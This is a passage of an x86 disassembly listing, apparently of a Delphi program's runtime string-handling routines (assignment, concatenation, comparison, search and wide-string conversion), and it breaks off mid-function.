sub_40351C	proc near		; CODE XREF: sub_40372C+8j
					; sub_403770+6j ...
		test	edx, edx
		jz	short loc_403544
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_403540
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_40358C
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4026B0
		pop	edx
		pop	eax
		jmp	short loc_403544
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403540:				; CODE XREF: sub_40351C+8j
		lock inc     dword ptr [edx-8]

loc_403544:				; CODE XREF: sub_40351C+2j
					; sub_40351C+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_40355E
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_40355E
		lock dec     dword ptr [edx-8]
		jnz	short locret_40355E
		lea	eax, [edx-8]
		call	sub_4025B0

locret_40355E:				; CODE XREF: sub_40351C+2Cj
					; sub_40351C+32j ...
		retn
sub_40351C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403560	proc near		; CODE XREF: sub_408234+58p
					; sub_4083A0+57p ...
		test	edx, edx
		jz	short loc_40356E
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_40356E
		lock inc     dword ptr [edx-8]

loc_40356E:				; CODE XREF: sub_403560+2j
					; sub_403560+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_403588
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_403588
		lock dec     dword ptr [edx-8]
		jnz	short locret_403588
		lea	eax, [edx-8]
		call	sub_4025B0

locret_403588:				; CODE XREF: sub_403560+12j
					; sub_403560+18j ...
		retn
sub_403560	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40358C	proc near		; CODE XREF: sub_40351C+Fp
					; sub_4035B0+Bp ...
		test	eax, eax
		jle	short loc_4035AC
		push	eax
		add	eax, 9
		call	sub_402598
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		mov	byte ptr [eax+edx], 0
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4035AC:				; CODE XREF: sub_40358C+2j
		xor	eax, eax
		retn
sub_40358C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4035B0	proc near		; CODE XREF: sub_4026F0+66p
					; sub_402768+28p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_40358C
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_4035D1
		mov	edx, eax
		mov	eax, esi
		call	sub_4026B0

loc_4035D1:				; CODE XREF: sub_4035B0+16j
		mov	eax, ebx
		call	sub_4034C8
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4035B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_4035E0:				; CODE XREF: CODE:004036E3j
					; CODE:0040371Bj
		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF800h
		mov	ebx, ecx
		mov	ebp, edx
		mov	edi, eax
		test	ebx, ebx
		jg	short loc_4035FD
		mov	eax, edi
		call	sub_4034C8
		jmp	short loc_403664
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4035FD:				; CODE XREF: CODE:004035F2j
		cmp	ebx, 400h
		jge	short loc_403631
		push	0
		push	0
		push	800h
		lea	eax, [esp+0Ch]
		push	eax
		push	ebx
		push	ebp
		push	0
		push	0
		call	j_WideCharToMultiByte
		mov	esi, eax
		test	esi, esi
		jle	short loc_403631
		mov	edx, esp
		mov	eax, edi
		mov	ecx, esi
		call	sub_4035B0
		jmp	short loc_403664
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403631:				; CODE XREF: CODE:00403603j
					; CODE:00403622j
		push	0
		push	0
		push	0
		push	0
		push	ebx
		push	ebp
		push	0
		push	0
		call	j_WideCharToMultiByte
		mov	esi, eax
		mov	eax, edi
		mov	ecx, esi
		xor	edx, edx
		call	sub_4035B0
		push	0
		push	0
		push	esi
		mov	eax, [edi]
		push	eax
		push	ebx
		push	ebp
		push	0
		push	0
		call	j_WideCharToMultiByte

loc_403664:				; CODE XREF: CODE:004035FBj
					; CODE:0040362Fj
		add	esp, 800h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403670	proc near		; CODE XREF: sub_409024+8Fp
					; sub_409024+188p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_4035B0
		pop	edx
		retn
sub_403670	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403680	proc near		; CODE XREF: sub_404B80+48p
					; sub_408234+111p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4036A7
		push	edx

loc_403687:				; CODE XREF: sub_403680+1Dj
		cmp	cl, [edx]
		jz	short loc_4036A2
		cmp	cl, [edx+1]
		jz	short loc_4036A1
		cmp	cl, [edx+2]
		jz	short loc_4036A0
		cmp	cl, [edx+3]
		jz	short loc_40369F
		add	edx, 4
		jmp	short loc_403687
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40369F:				; CODE XREF: sub_403680+18j
		inc	edx

loc_4036A0:				; CODE XREF: sub_403680+13j
		inc	edx

loc_4036A1:				; CODE XREF: sub_403680+Ej
		inc	edx

loc_4036A2:				; CODE XREF: sub_403680+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx

loc_4036A7:				; CODE XREF: sub_403680+4j
		jmp	sub_4035B0
sub_403680	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_4036B0:				; DATA XREF: CODE:004079EEo
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4036E3
		push	edx

loc_4036B7:				; CODE XREF: CODE:004036D1j
		cmp	cx, [edx]
		jz	short loc_4036DC
		cmp	cx, [edx+2]
		jz	short loc_4036D9
		cmp	cx, [edx+4]
		jz	short loc_4036D6
		cmp	cx, [edx+6]
		jz	short loc_4036D3
		add	edx, 8
		jmp	short loc_4036B7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4036D3:				; CODE XREF: CODE:004036CCj
		add	edx, 2

loc_4036D6:				; CODE XREF: CODE:004036C6j
		add	edx, 2

loc_4036D9:				; CODE XREF: CODE:004036C0j
		add	edx, 2

loc_4036DC:				; CODE XREF: CODE:004036BAj
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1

loc_4036E3:				; CODE XREF: CODE:004036B4j
		jmp	loc_4035E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4036EC	proc near		; CODE XREF: sub_40C560+3Cp
					; sub_40C63C+38p ...
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_4035B0
sub_4036EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4036F8	proc near		; CODE XREF: sub_4071E0+58p
					; sub_408234+98p ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_403705
		not	ecx

loc_403705:				; CODE XREF: sub_4036F8+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_4035B0
sub_4036F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403710:				; DATA XREF: CODE:004079F5o
					; CODE:00407A08r
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40371B
		mov	ecx, [edx-4]
		shr	ecx, 1

loc_40371B:				; CODE XREF: CODE:00403714j
		jmp	loc_4035E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403724	proc near		; CODE XREF: sub_403F9C+Ep
					; sub_403F9C+17p ...
		test	eax, eax
		jz	short locret_40372B
		mov	eax, [eax-4]

locret_40372B:				; CODE XREF: sub_403724+2j
		retn
sub_403724	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40372C	proc near		; CODE XREF: sub_403770+1Dj
					; sub_403770+6Ej ...
		test	edx, edx
		jz	short locret_40376F
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_40351C
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_403764
		call	sub_4039FC
		mov	eax, esi
		mov	ecx, [esi-4]

loc_403757:				; CODE XREF: sub_40372C+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4026B0
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403764:				; CODE XREF: sub_40372C+1Fj
		call	sub_4039FC
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_403757
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

locret_40376F:				; CODE XREF: sub_40372C+2j
		retn
sub_40372C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403770	proc near		; CODE XREF: sub_407324+5Cp
					; sub_40F3B4+A5p ...
		test	edx, edx
		jz	short loc_4037D5
		test	ecx, ecx
		jz	sub_40351C
		cmp	edx, [eax]
		jz	short loc_4037DC
		cmp	ecx, [eax]
		jz	short loc_403792
		push	eax
		push	ecx
		call	sub_40351C
		pop	edx
		pop	eax
		jmp	sub_40372C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403792:				; CODE XREF: sub_403770+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_40358C
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_4026B0
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_4026B0
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_4037CC
		dec	dword ptr [edi-8]

loc_4037CC:				; CODE XREF: sub_403770+57j
		call	sub_40351C
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4037D5:				; CODE XREF: sub_403770+2j
		mov	edx, ecx
		jmp	sub_40351C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4037DC:				; CODE XREF: sub_403770+Ej
		mov	edx, ecx
		jmp	sub_40372C
sub_403770	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4037E4	proc near		; CODE XREF: sub_40A020+27Bp
					; sub_40A020+298p ...

arg_0		= byte ptr  14h

		push	ebx
		push	esi
		push	edx
		push	eax
		mov	ebx, edx
		xor	eax, eax

loc_4037EC:				; CODE XREF: sub_4037E4+14j
		mov	ecx, [esp+edx*4+10h]
		test	ecx, ecx
		jz	short loc_4037F7
		add	eax, [ecx-4]

loc_4037F7:				; CODE XREF: sub_4037E4+Ej
		dec	edx
		jnz	short loc_4037EC
		call	sub_40358C
		push	eax
		mov	esi, eax

loc_403802:				; CODE XREF: sub_4037E4+33j
		mov	eax, [esp+ebx*4+14h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_403816
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_4026B0

loc_403816:				; CODE XREF: sub_4037E4+26j
		dec	ebx
		jnz	short loc_403802
		pop	edx
		pop	eax
		test	edx, edx
		jz	short loc_403822
		dec	dword ptr [edx-8]

loc_403822:				; CODE XREF: sub_4037E4+39j
		call	sub_40351C
		pop	edx
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4+0FFFFFFECh+arg_0]
		jmp	eax
sub_4037E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403834	proc near		; CODE XREF: sub_40C960+6Bp
					; sub_40F998+8Bp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_4038D2
		test	esi, esi
		jz	short loc_4038AF
		test	edi, edi
		jz	short loc_4038B6
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_403857
		add	edx, eax

loc_403857:				; CODE XREF: sub_403834+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_403883

loc_40385D:				; CODE XREF: sub_403834+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_4038BD
		dec	edx
		jz	short loc_40387D
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_4038BD
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_40385D
		jmp	short loc_403883
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40387D:				; CODE XREF: sub_403834+32j
		add	esi, 4
		add	edi, 4

loc_403883:				; CODE XREF: sub_403834+27j
					; sub_403834+47j
		pop	edx
		and	edx, 3
		jz	short loc_4038AB
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_4038D2
		dec	edx
		jz	short loc_4038AB
		cmp	ch, bh
		jnz	short loc_4038D2
		dec	edx
		jz	short loc_4038AB
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_4038D2

loc_4038AB:				; CODE XREF: sub_403834+53j
					; sub_403834+5Ej ...
		add	eax, eax
		jmp	short loc_4038D2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4038AF:				; CODE XREF: sub_403834+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_4038D2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4038B6:				; CODE XREF: sub_403834+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_4038D2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4038BD:				; CODE XREF: sub_403834+2Fj
					; sub_403834+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_4038D2
		cmp	ch, bh
		jnz	short loc_4038D2
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4038D2
		cmp	ch, bh

loc_4038D2:				; CODE XREF: sub_403834+9j
					; sub_403834+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403834	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4038D8	proc near		; CODE XREF: sub_40EDA4+1Ep
					; sub_40F230+20p ...
		test	eax, eax
		jz	short locret_4038E6
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_4038E6
		lock inc     dword ptr [eax-8]

locret_4038E6:				; CODE XREF: sub_4038D8+2j
					; sub_4038D8+8j
		retn
sub_4038D8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4038E8	proc near		; CODE XREF: sub_403F9C+30p
					; sub_406E64+10p ...
		test	eax, eax
		jz	short loc_4038EE
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
byte_4038ED	db 0			; DATA XREF: sub_4038E8+6o
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4038EE:				; CODE XREF: sub_4038E8+2j
		mov	eax, offset byte_4038ED
		retn
sub_4038E8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4038F4	proc near		; CODE XREF: sub_40396C+9p
					; sub_40DEB0+25p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_403926
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_403926
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_40358C
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_40391B
		lock dec     dword ptr [eax-8]

loc_40391B:				; CODE XREF: sub_4038F4+21j
		mov	ecx, [eax-4]
		call	sub_4026B0
		mov	edx, [ebx]
		pop	ebx

loc_403926:				; CODE XREF: sub_4038F4+4j
					; sub_4038F4+Aj
		mov	eax, edx
		retn
sub_4038F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40392C	proc near		; CODE XREF: sub_406E9C+43p
					; sub_406EEC+28p ...

arg_0		= dword	ptr  8

		push	ebx
		test	eax, eax
		jz	short loc_40395E
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_40395E
		dec	edx
		jl	short loc_403956
		cmp	edx, ebx
		jge	short loc_40395E

loc_40393F:				; CODE XREF: sub_40392C+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_40395E
		cmp	ecx, ebx
		jg	short loc_40395A

loc_403949:				; CODE XREF: sub_40392C+30j
		add	edx, eax
		mov	eax, [esp+arg_0]
		call	sub_4035B0
		jmp	short loc_403967
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403956:				; CODE XREF: sub_40392C+Dj
		xor	edx, edx
		jmp	short loc_40393F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40395A:				; CODE XREF: sub_40392C+1Bj
		mov	ecx, ebx
		jmp	short loc_403949
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40395E:				; CODE XREF: sub_40392C+3j
					; sub_40392C+Aj ...
		mov	eax, [esp+arg_0]
		call	sub_4034C8

loc_403967:				; CODE XREF: sub_40392C+28j
		pop	ebx
		retn	4
sub_40392C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40396C	proc near		; CODE XREF: sub_40E7C8+47p
					; sub_40FCF0+137p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		call	sub_4038F4
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_4039B0
		mov	ecx, [edx-4]
		dec	esi
		jl	short loc_4039B0
		cmp	esi, ecx
		jge	short loc_4039B0
		test	edi, edi
		jle	short loc_4039B0
		sub	ecx, esi
		cmp	edi, ecx
		jle	short loc_403996
		mov	edi, ecx

loc_403996:				; CODE XREF: sub_40396C+26j
		sub	ecx, edi
		add	edx, esi
		lea	eax, [edx+edi]
		call	sub_4026B0
		mov	edx, [ebx]
		mov	eax, ebx
		mov	edx, [edx-4]
		sub	edx, edi
		call	sub_4039FC

loc_4039B0:				; CODE XREF: sub_40396C+12j
					; sub_40396C+18j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40396C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4039B4	proc near		; CODE XREF: sub_40FCF0+ECp
					; sub_40FCF0+18Ap ...
		test	eax, eax
		jz	short locret_4039F8
		test	edx, edx
		jz	short loc_4039ED
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	ecx, [edi-4]
		push	edi
		mov	edx, [esi-4]
		dec	edx
		js	short loc_4039E8
		mov	al, [esi]
		inc	esi
		sub	ecx, edx
		jle	short loc_4039E8

loc_4039D4:				; CODE XREF: sub_4039B4+32j
		repne scasb
		jnz	short loc_4039E8
		mov	ebx, ecx
		push	esi
		push	edi
		mov	ecx, edx
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_4039F0
		mov	ecx, ebx
		jmp	short loc_4039D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4039E8:				; CODE XREF: sub_4039B4+17j
					; sub_4039B4+1Ej ...
		pop	edx
		xor	eax, eax
		jmp	short loc_4039F5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4039ED:				; CODE XREF: sub_4039B4+6j
		xor	eax, eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4039F0:				; CODE XREF: sub_4039B4+2Ej
		pop	edx
		mov	eax, edi
		sub	eax, edx

loc_4039F5:				; CODE XREF: sub_4039B4+37j
		pop	edi
		pop	esi
		pop	ebx

locret_4039F8:				; CODE XREF: sub_4039B4+2j
		retn
sub_4039B4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4039FC	proc near		; CODE XREF: sub_40372C+21p
					; sub_40372C+38p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jz	short loc_403A51
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_403A32
		cmp	dword ptr [eax-8], 1
		jnz	short loc_403A32
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_4025C8
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [eax+esi], 0
		jmp	short loc_403A5A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403A32:				; CODE XREF: sub_4039FC+11j
					; sub_4039FC+17j
		mov	eax, edx
		call	sub_40358C
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_403A51
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_403A4C
		mov	ecx, esi

loc_403A4C:				; CODE XREF: sub_4039FC+4Cj
		call	sub_4026B0

loc_403A51:				; CODE XREF: sub_4039FC+Bj
					; sub_4039FC+43j
		mov	eax, ebx
		call	sub_4034C8
		mov	[ebx], edi

loc_403A5A:				; CODE XREF: sub_4039FC+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4039FC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403A60	proc near		; CODE XREF: sub_418438+4Fp
		xor	ecx, ecx
		jmp	loc_403A68
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403A68:				; CODE XREF: sub_403A60+2j
		push	ebx
		mov	ebx, edx
		mov	edx, ecx
		xor	ecx, ecx
		test	ebx, ebx
		jz	short loc_403A78
		mov	ecx, [ebx-4]
		sub	edx, ecx

loc_403A78:				; CODE XREF: sub_403A60+11j
		push	ecx
		call	sub_4051AF
		pop	ecx
		mov	edx, ebx
		pop	ebx
		jmp	sub_405144
sub_403A60	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_403A88:				; CODE XREF: sub_403ACC+1Dj
		mov	al, 1
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403A90	proc near		; CODE XREF: sub_403ACC+2j
					; sub_403ACC+Dj ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_403AA4
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	j_SysFreeString
		pop	eax

locret_403AA4:				; CODE XREF: sub_403A90+4j
		retn
sub_403A90	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403AA8	proc near		; CODE XREF: sub_403BE8+7Ap
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx

loc_403AAE:				; CODE XREF: sub_403AA8+1Cj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_403AC0
		mov	dword ptr [ebx], 0
		push	eax
		call	j_SysFreeString

loc_403AC0:				; CODE XREF: sub_403AA8+Aj
		add	ebx, 4
		dec	esi
		jnz	short loc_403AAE
		pop	esi
		pop	ebx
		retn
sub_403AA8	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403ACC	proc near		; CODE XREF: sub_403CDC+81p
					; sub_403DF8+61p
		test	edx, edx
		jz	sub_403A90
		mov	ecx, [edx-4]
		shr	ecx, 1
		jz	sub_403A90
		push	ecx
		push	edx
		push	eax
		call	j_SysReAllocStringLen
		test	eax, eax
		jz	loc_403A88
		retn
sub_403ACC	endp ; sp = -0Ch


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403AF0	proc near		; CODE XREF: sub_403B1C+85p
					; sub_417928+5Ep
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [edx+ecx+0Ah]
		mov	edi, [edx+ecx+6]

loc_403B02:				; CODE XREF: sub_403AF0+24j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		call	sub_403BB0
		add	esi, 8
		dec	edi
		jg	short loc_403B02
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403AF0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_403B1C	proc near		; CODE XREF: sub_403B1C+6Fp
					; sub_403BB0+5j ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		xor	ecx, ecx
		cmp	al, 0Ah
		jz	short loc_403B5B
		cmp	al, 0Bh
		jz	short loc_403B5B
		cmp	al, 0Ch
